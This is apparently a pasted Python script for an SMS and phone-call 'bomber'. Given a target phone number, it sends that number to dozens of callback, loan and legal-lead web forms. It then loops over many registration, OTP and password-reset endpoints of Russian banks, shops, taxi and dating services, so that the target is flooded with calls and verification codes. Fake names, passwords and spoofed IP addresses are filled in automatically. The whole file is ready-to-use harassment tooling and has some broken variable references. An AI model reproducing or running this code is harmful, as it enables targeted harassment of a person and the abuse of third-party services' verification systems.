· 5 years ago · Mar 26, 2020, 08:02 PM
1----------------------[@ELDAR_SHIRVANSKI]-------------------
2import random
3import requests
4import datetime
5
6class Main:
7 def __init__(self, phoneNum, _name):
8 self.surnames = ('Иванов', 'Смирнов', 'Кузнецов', 'Попов', 'Васильев', 'Петров',
9 'Соколов', 'Михайлов', 'Новиков', 'Фёдоров', 'Морозов', 'Волков')
10 self.phoneNum = phoneNum
11 if _name != '':
12 self._name = _name
13 else:
14 self.name = random.choice(self.surnames)[0:-2]
15 self.phoneNum9 = self.phoneNum[1:]
16 self.phoneNumAresBank = '+' + \
17 self.phoneNum[0] + '(' + self.phoneNum[1:4] + ')' + self.phoneNum[4:7] + \
18 '-' + self.phoneNum[7:9] + '-' + self.phoneNum[9:11]
19 self.phoneNum9dostavista = self.phoneNum9[:3] + '+' + self.phoneNum9[3:6] + \
20 '-' + self.phoneNum9[6:8] + '-' + self.phoneNum9[8:10]
21 self.phoneNumOstin = '+' + self.phoneNum[0] + '+(' + self.phoneNum[1:4] + ')' + self.phoneNum[4:7] + \
22 '-' + self.phoneNum[7:9] + '-' + self.phoneNum[9:11]
23 self.phoneNumPizzahut = '+' + self.phoneNum[0] + ' (' + self.phoneNum[1:4] + ') ' + self.phoneNum[4:7] + \
24 ' ' + \
25 self.phoneNum[7:9] + ' ' + \
26 self.phoneNum[9:11]
27 self.phoneNumGorzdrav = self.phoneNum[1:4] + ') ' + self.phoneNum[4:7] + '-' + \
28 self.phoneNum[7:9] + '-' + self.phoneNum[9:11]
29 self.randomemail = ''
30 for x in range(11):
31 self.randomemail += random.choice(
32 list('123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'))
33 self.randomemail += '@gmail.com'
34 self.truedata = str(datetime.datetime.today()).split(' ')[0]
35 self.patronymics = ('Богданович', 'Маркович', 'Олегович', 'Глебович', 'Александрович',
36 'Дмитриевич', 'Егорович', 'Георгиевич', 'Львович', 'Кириллович')
37 self.randomtimezone = int(random.random() * 10)
38 self.randomzaim = int((random.random() * 10) + 10)
39 self.randomid6 = str(random.randint(1, 9)) + str(random.randint(1, 9)) + str(
40 random.randint(1, 9)) + str(random.randint(1, 9)) + str(random.randint(1, 9))
41 self.problem = 'Здравствуйте, у меня проблема!'
42
43 def call(self):
44 try:
45 smart = requests.post('http://smart-lift.com.ua/1.php', data={
46 'txtname': self._name, 'txtphone': phoneNum, 'valTrFal': 'valTrFal_true', 'test': ''})
47 except:
48 pass
49 try:
50 yunker = requests.post('https://junker.kiev.ua/postmaster.php',
51 data={'name': self._name, 'tel': phoneNum, 'action': 'callme'})
52 except:
53 pass
54 try:
55 partner = requests.post('https://www.big-partner.kh.ua/index.php?route=unishop/request/mail',
56 data={'type': 'Заказ звонка', 'customername': self._name, 'customerphoneNum': phoneNum})
57 except:
58 pass
59 try:
60 redcaviar = requests.post('https://red-caviar.biz.ua/order.php',
61 data={'name': self._name, 'phone': phoneNum, 'meta': '2'})
62 except:
63 pass
64 try:
65 novo = requests.post('https://novogodneepostelnoe.ru/index.php?route=extension/module/callback',
66 data={'name': self._name, 'phone': phoneNum, 'comment': '', 'action': 'send'})
67
68 except:
69 pass
70 try:
71 bistromoney = requests.post(
72 'https://bistrodengi.ru/ajax/lead.php', data={'fio': self._name, 'phone': phoneNum})
73
74 except:
75 pass
76 try:
77 zaymigo = requests.post('https://zaymigo.com/register', data={'role': 'borrower', 'registerphoneNum': phoneNum, 'password': randomemail[0:-12] + 'R252', 'password_confirm': randomemail[0:-12] + 'R252', 'register_agreements': 1,
78 'register_agreements': 1, 'timezone': randomtimezone, 'step': 1, 'sum': 10000, 'repayment_method': 'once', 'period': 12, 'promoCode': '', 'appliedPromoCode': '', 'appliedDiscount': ''})
79 except:
80 pass
81 try:
82 zaimexpress = requests.post('https://www.zaim-express.ru/engine/orders2.php', data={
83 'type_amount': 0, 'phone': phoneNum, 'source': '', 'clickid': '', 'webid': '', 'reffer': 'www.google.com', 'site': 'www.zaim-express.ru/'})
84 except:
85 pass
86 try:
87 zaimi = requests.post(
88 'https://xn--80acmlhv0b.xn--80anhm9e.xn--p1ai/gate/public/api/v1/user/phone', data={'phone': phoneNum})
89 except:
90 pass
91 try:
92 moneza = requests.post('https://www.moneza.ru/ws/public/callback-request', data={
93 'clientFullName': self._name, 'phoneNumber': phoneNum, 'timezoneOffsetString': -420})
94 except:
95 pass
96 try:
97 timezaim = requests.post('https://timezaim.ru/app/', data={'SUMMA': randomzaim, 'DAY': 90, 'TARIFname': '',
98 'TARIF': 'main', 'SUM': '', 'DAYS': '', 'STEP': -1, 'main': 'Y', 'needphoneNum': phoneNum})
99 except:
100 pass
101 try:
102 carmoney = requests.post('https://telephony.jivosite.com/api/1/sites/359606/widgets/jbgpFn43Y1/clients/' + str(random.randint(1, 9)) + str(random.randint(1, 9)) + str(
103 random.randint(1, 9)) + str(random.randint(1, 9)) + str(random.randint(1, 9)) + str(random.randint(1, 9)) + '/telephony/callback', data={'phone': phoneNum, 'invitationproblem': ''})
104 except:
105 pass
106 try:
107 creditter = requests.post(
108 'https://api.creditter.ru/feedback/phone', json={'phone': phoneNum})
109 except:
110 pass
111 try:
112 creditplus = requests.post('https://creditplus.ru/wp-core/wp-admin/admin-ajax.php?action=callbackPhone',
113 data={'number': phoneNum, 'confirmation_code': '', 'action': 'callbackPhone'})
114 except:
115 pass
116 try:
117 pliskov = requests.post('https://telephony.jivosite.com/api/1/sites/6235/widgets/zjrL6mQMKT/clients/' + str(random.randint(1, 9)) + str(random.randint(1, 9)) + str(
118 random.randint(1, 9)) + str(random.randint(1, 9)) + str(random.randint(1, 9)) + '/telephony/callback', data={'phone': phoneNum, 'invitationproblem': ''})
119 except:
120 pass
121 try:
122 bukvaprava = requests.post('https://bukvaprava.ru/wp-admin/admin-ajax.php', data={'text_quest_banner': problem, 'name': self._name, 'city': 'Москва',
123 'tel': phoneNum, 'ip': '192.168.1.777', 'form_page': 'https://bukvaprava.ru/', 'referer': '', 'action': 'ajax-lead'})
124 except:
125 pass
126 try:
127 yuristonline = requests.post('https://www.yurist-online.net/lead_question', data={
128 'region': '27', 'question': problem, 'name': self._name, 'phone': phoneNum, 'email': randomemail.lower(), 'partner_id': '13'})
129 except:
130 pass
131 try:
132 blablabla = requests.post('http://xn----8sbgev0cabfflr7k.xn--p1ai/scripts/form-u22118.php',
133 data={'custom_U22127': phoneNumVodaonline})
134 except:
135 pass
136 try:
137 nicecream = requests.post('http://s1.nice-cream.ru/phone-widget2/sendRequest.php', data={
138 'phone': '+' + phoneNum, 'name': self._name, 'sid': '*', 'gclid': '0', 'openstat': 'direct.yandex.ru;12345678;123456789;yandex.ru:premium', 'utm': ''})
139 except:
140 pass
141 try:
142 rossovet = requests.post('https://rossovet.ru/qa/msgsave/save', data={'name': self._name, 'comment': problem, 'city': 'Москва', 'phoneprefix': '(' +
143 phoneNum + ')', 'phone': phoneNum, 'partnerID': '10', 'ref': 'https://yandex.ru/clck/', 'number1': '7', 'number2': '8', 'checkcode': '15'})
144 except:
145 pass
146 try:
147 yuridkons = requests.post('https://yuridicheskaya-konsultaciya.com/Home/_FormPost',
148 data={'Name': self._name, 'Phone': phoneNum, 'Description': problem})
149 except:
150 pass
151 try:
152 epleads = requests.post('https://epleads.ru/gate/api.php', data={'question': problem, 'region': 'Москва', 'first_lastname': self._name, 'phone': phoneNum, 'ofrid': '1', 'wid': '3', 'presetid': '4',
153 'referer': 'https://potreb-prava.com/konsultaciya-yurista/konsultaciya-onlajn-yurista-besplatno-kruglosutochno.html', 'ip': '213.154.55.496', 'mobile': '0', 'template': 'form_master.new.fix.metrik_lawyer-blue-default', 'product': 'lawyer', 'userSoftData': '*'})
154 except:
155 pass
156 try:
157 pravonedv = requests.post('https://pravonedv.ru/proxy_8d34201a5b.php?a___=1', data={'email': randomemail.lower(), 'phone': phoneNumVodaonline, 'location': 'Москва, Россия', 'name': self._name, 'offer': '0', 'ip': '263.87.162.98',
158 'device': 'desktop', 'token': '*', 'template': 'two_page3', 'referrer': 'https://yandex.ru/clck/', 'domain': 'pravonedv.ru', 'wm_id': '548', 'url': 'https://pravonedv.ru/besplatnye-onlajn-konsultacii-yurista'})
159 except:
160 pass
161 try:
162 rdftgbhnj = requests.post('https://xn----etbqwledi5fza.xn--p1ai/wp-json/contact-form-7/v1/contact-forms/295/feedback', data={
163 '_wpcf7': '295', '_wpcf7_version': '5.0.5', '_wpcf7_locale': 'ru_RU', '_wpcf7_unit_tag': 'wpcf7-f295-o2', '_wpcf7_container_post': '0', 'text-838': self._name, 'tel-231': phoneNum, 'textarea-472': problem, 'hidden-278': 'Главная'})
164 except:
165 pass
166 try:
167 gurist = requests.post('http://www.gurist.ru/wp-json/contact-form-7/v1/contact-forms/3591/feedback', data={
168 '_wpcf7': '3591', '_wpcf7_version': '5.0', '_wpcf7_locale': 'ru_RU', '_wpcf7_unit_tag': 'wpcf7-f3591-o1', '_wpcf7_container_post': '0', 'your-name': self._name, 'tel-147': problem})
169 except:
170 pass
171 try:
172 beeline = requests.post('https://moskva.beeline.ru/customers/products/mobile/services/createmnporder/',
173 data={'leadName': 'PodborSim', 'phone': phoneNum, 'region': '98140'})
174 except:
175 pass
176 try:
177 advokatmakeev = requests.post('https://advokatmakeev.ru/form.php', data={
178 'oname': self._name, 'otel': phoneNumVodaonline, 'omail': '', 'omess': problem, 'otype': '1'})
179 except:
180 pass
181 try:
182 mkamsk = requests.post('http://mkamsk.ru/apply_auto_form', data={
183 'Form[9]': self._name, 'Form[12]': phoneNum, 'Form[11]': problem, 'url': 'http://mkamsk.ru/', 'check': 'check'})
184 except:
185 pass
186 try:
187 usachev = requests.post('https://usachev.vip/wp-admin/admin-ajax.php', data={
188 'action': 'bazz_widget_action', 'phone': '+' + phoneNum, 'name': ''})
189 except:
190 pass
191 try:
192 pravosfera = requests.post('http://pravo-sfera.ru/auxpage_zayavk/', data={
193 'cname': self._name, 'c_tel': phoneNumVodaonline, 'quest': problem, 'uest_go': 'Задать вопрос'})
194 except:
195 pass
196 try:
197 uristexpert24 = requests.post('https://urist-expert24.ru/send-lead/', data={
198 'name': self._name, 'phone': phoneNumVodaonline, 'form-name': 'Заказ обратного звонка'})
199 except:
200 pass
201 try:
202 lawdivorce = requests.post('http://law-divorce.ru/w p-admin/admin-ajax.php', data={'ip_address': '', 'ip_country': '', 'ip_region': '',
203 'ip_city': '', 'url': '', 'action': 'lld_send_lead', 'text': problem, 'name': self._name, 'telephone': '+' + phoneNumBukvaprava, 'city': 'Москва'})
204 except:
205 pass
206 try:
207 gosurist = requests.post('http://www.gos-urist.ru/send.php',
208 {'name': self._name, 'code': phoneNum, 'phone': phoneNum, 'issue': problem})
209 except:
210 pass
211 try:
212 ur9911030 = requests.post('http://9911030.ru/orderform.php',
213 {'name': self._name, 'phone': phoneNum, 'message': problem})
214 except:
215 pass
216 try:
217 findclone = requests.get(
218 'https://findclone.ru/register?phone=' + phoneNum, params={'phone': phoneNum})
219 except:
220 pass
221
222 def sms(self, iteration):
223 if self.phoneNum[0] == '+':
224 self.phoneNum = self.phoneNum[1:]
225 if self.phoneNum[0] == '8':
226 self.phoneNum = '7' + self.phoneNum[1:]
227 if self.phoneNum[0] == '9':
228 self.phoneNum = '7' + self.phoneNum
229 for i in range(1, iteration):
230 grab = requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': self.phoneNum, 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'}, headers={
231 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'})
232 utaxi = requests.post(
233 'https://moscow.rutaxi.ru/ajax_keycode.html', data={'l': self.phoneNum9}).json()["res"]
234 belka = requests.post(
235 'https://belkacar.ru/get-confirmation-code', data={'phone': self.phoneNum}, headers={})
236 tinder = requests.post(
237 'https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', data={'phone_number': self.phoneNum}, headers={})
238 vkusvill = requests.post('https://vkusvill.ru/ajax/user_v2/auth/checkphoneNum.php', data={
239 'USERphoneNum': '+7 (915) 350-9908', 'token': '*', 'is_retry': 'Y'})
240 karusel = requests.post(
241 'https://app.karusel.ru/api/v1/phone/', data={'phone': self.phoneNum}, headers={})
242 taxiseven = requests.post(
243 'http://taxiseven.ru/auth/register', data={'phone': self.phoneNum}, headers={})
244 dostavista = requests.post('https://dostavista.ru/backend/send-verification-sms', data={
245 'phone': self.phoneNum9dostavista}, headers={})
246 tinkoff = requests.post(
247 'https://api.tinkoff.ru/v1/sign_up', data={'phone': '+' + self.phoneNum}, headers={})
248 worki = requests.post(
249 'https://api.iconjob.co/api/web/v1/verification_code', json={"phone": self.phoneNum}, headers={})
250 wildberries = requests.post(
251 'https://security.wildberries.ru/mobile/requestconfirmcode?forAction=RegisterUser', data={"phone": '+' + self.phoneNum}, headers={})
252 mts = requests.post('https://api.mtstv.ru/v1/users',
253 json={'msisdn': self.phoneNum}, headers={})
254 youla = requests.post(
255 'https://youla.ru/web-api/auth/request_code', data={'phone': self.phoneNum})
256 youdrive = requests.post(
257 ' http://youdrive.today/login/web/phone', data={'phone': self.phoneNum9, 'phone_code': '7'})
258 pizzahut = requests.post('https://pizzahut.ru/account/password-reset', data={
259 'reset_by': 'phone', 'action_id': 'pass-recovery', 'phone': self.phoneNumPizzahut, '_token': '*'})
260 rabota = requests.post(
261 'https://www.rabota.ru/remind', data={'credential': self.phoneNum})
262 drugvokrug = requests.post(
263 'https://drugvokrug.ru/siteActions/processSms.htm', data={'cell': self.phoneNum})
264 rutube = requests.post(
265 'https://rutube.ru/api/accounts/sendpass/phone', data={'phone': '+' + self.phoneNum})
266 wifimetro = requests.post(
267 'https://cabinet.wi-fi.ru/api/auth/by-sms', data={'msisdn': self.phoneNum})
268 dozarplati = requests.post('https://online-api.dozarplati.com/rpc', json={
269 "id": '1', "jsonrpc": "2.0", "method": "auth.login", "params": {"phoneNumber": "79153509908"}})
270 fastmoney = requests.post('https://fastmoney.ru/auth/registration', data={
271 'RegistrationForm[username]': '+' + self.phoneNum, 'RegistrationForm[password]': '12345', 'RegistrationForm[confirmPassword]': '12345', 'yt0': 'Регистрация'})
272 findclone = requests.get(
273 ' https://findclone.ru/register?phone=+' + self.phoneNum, params={'phone': '+' + self.phoneNum})
274 pmsm = requests.post('https://ube.pmsm.org.ru/esb/os-reg/submission', json={'data': {
275 'firstName': self._name, 'lastName': '***', 'phone': self.phoneNum, 'email': self._name + '@gmail.com', 'password': self._name, 'passwordConfirm': self._name}})
276 smsint = requests.post('https://www.smsint.ru/bitrix/templates/sms_intel/include/ajaxRegistrationTrigger.php',
277 data={'name': self._name, 'phone': self.phoneNum, 'promo': 'yellowforma'})
278 try:
279 lenta = requests.post(
280 'https://lenta.com/api/v1/authentication/requestValidationCode', json={'phone': '+' + self.phoneNum})
281 except:
282 pass
283 mcdonalds = requests.post(
284 'https://mcdonalds.ru/api/auth/code', json={'phone': '+' + self.phoneNum})
285 oyorooms = requests.get('https://www.oyorooms.com/api/pwa/generateotp?phone=' +
286 self.phoneNum9 + '&country_code=%2B7&nod=4&locale=en')
287 pswallet = requests.get(
288 'https://api.pswallet.ru/system/smsCode', params={'mobile': self.phoneNum, 'type': '0'})
289 privetmir = requests.post('https://api-user.privetmir.ru/api/v2/send-code', data={
290 'login': '9153509908', 'scope': 'register-user reset-password', 'checkApproves': 'Y', 'approve1': 'on', 'approve2': 'on', 'code': ''})
291 mvideo = requests.post('https://www.mvideo.ru/internal-rest-api/common/atg/rest/actors/VerificationActor/getCodeForOtp', params={
292 'pageName': 'loginByUserPhoneVerification', 'fromCheckout': 'false', 'fromRegisterPage': 'true', 'snLogin': '', 'bpg': '', 'snProviderId': ''}, data={'phone': '+7 915 3509908', 'g-recaptcha-response': '', 'recaptcha': 'on'})
293 newnext = requests.post('https://newnext.ru/graphql', json={'operationName': 'registration', 'variables': {'client': {'firstName': 'Иван', 'lastName': 'Иванов', 'phone': self.phoneNum, 'typeKeys': [
294 'Unemployed']}}, 'query': 'mutation registration($client: ClientInput!) {''\n registration(client: $client) {''\n token\n __typename\n }\n}\n'})
295 optima = requests.post(
296 'https://online.optima.taxi/user/get-code', data={'phone': self.phoneNum})
297 s7 = requests.get('https://www.s7.ru/dotCMS/priority/ajaxEnrollment', params={
298 'dispatch': 'shortEnrollmentByPhone', 'mobilePhone.countryCode': '7', 'mobilePhone.areaCode': self.phoneNum[1:4], 'mobilePhone.localNumber': self.phoneNum[4:-1]})
299 sunlight = requests.post(
300 'https://api.sunlight.net/v3/customers/authorization/', data={'phone': self.phoneNum})
301 managevoximplant = requests.post('https://api-ru-manage.voximplant.com/api/AddAccount', data={
302 'region': 'eu', 'account_name': self._name, 'language_code': 'en', 'account_email': self._name + '@gmail.com', 'account_password': self._name})
303 managevoximplant = requests.post('https://api-ru-manage.voximplant.com/api/SendActivationCode', data={
304 'phone': self.phoneNum, 'account_email': self._name + '@gmail.com'})
305 gorzdrav = requests.post('https://gorzdrav.org/login/register/sms/send', data={
306 'phone': self.phoneNumGorzdrav, 'CSRFToken': '*'})
307 loginmos = requests.post(
308 'https://login.mos.ru/sps/recovery/start', json={"login": self.phoneNum, "attr": ""})
309 alpari = requests.post('https://alpari.com/api/ru/protection/deliver/2f178b17990ca4b7903aa834b9f54c2c0bcb01a2/', json={
310 'client_type': 'personal', 'email': self.randomemail, 'mobilephoneNum': self.phoneNum, 'deliveryOption': 'sms'})
311 invitro = requests.post(
312 'https://lk.invitro.ru/lk2/lka/patient/refreshCode', data={'phone': self.phoneNum})
313 onlinesbis = requests.post('https://online.sbis.ru/reg/service/', json={
314 'jsonrpc': '2.0', 'protocol': '5', 'method': 'Пользователь.ЗаявкаНаФизика', 'params': {'phone': self.phoneNum}, 'id': '1'})
315 psbank = requests.post('https://ib.psbank.ru/api/authentication/extendedClientAuthRequest', json={'firstName': self._name, 'middleName': 'Иванович', 'lastName': 'Иванов', 'sex': '1', 'birthDate': '10.10.2000',
316 'mobilePhone': self.phoneNum9, 'russianFederationResident': 'true', 'isDSA': 'false', 'personalDataProcessingAgreement': 'true', 'bKIRequestAgreement': 'null', 'promotionAgreement': 'true'})
317 raiffeisen = requests.get(
318 'https://oapi.raiffeisen.ru/api/sms-auth/public/v1.0/phone/code', params={'number': self.phoneNum})
319 beltelecom = requests.post(
320 'https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru', data = {'phone': self.phoneNum})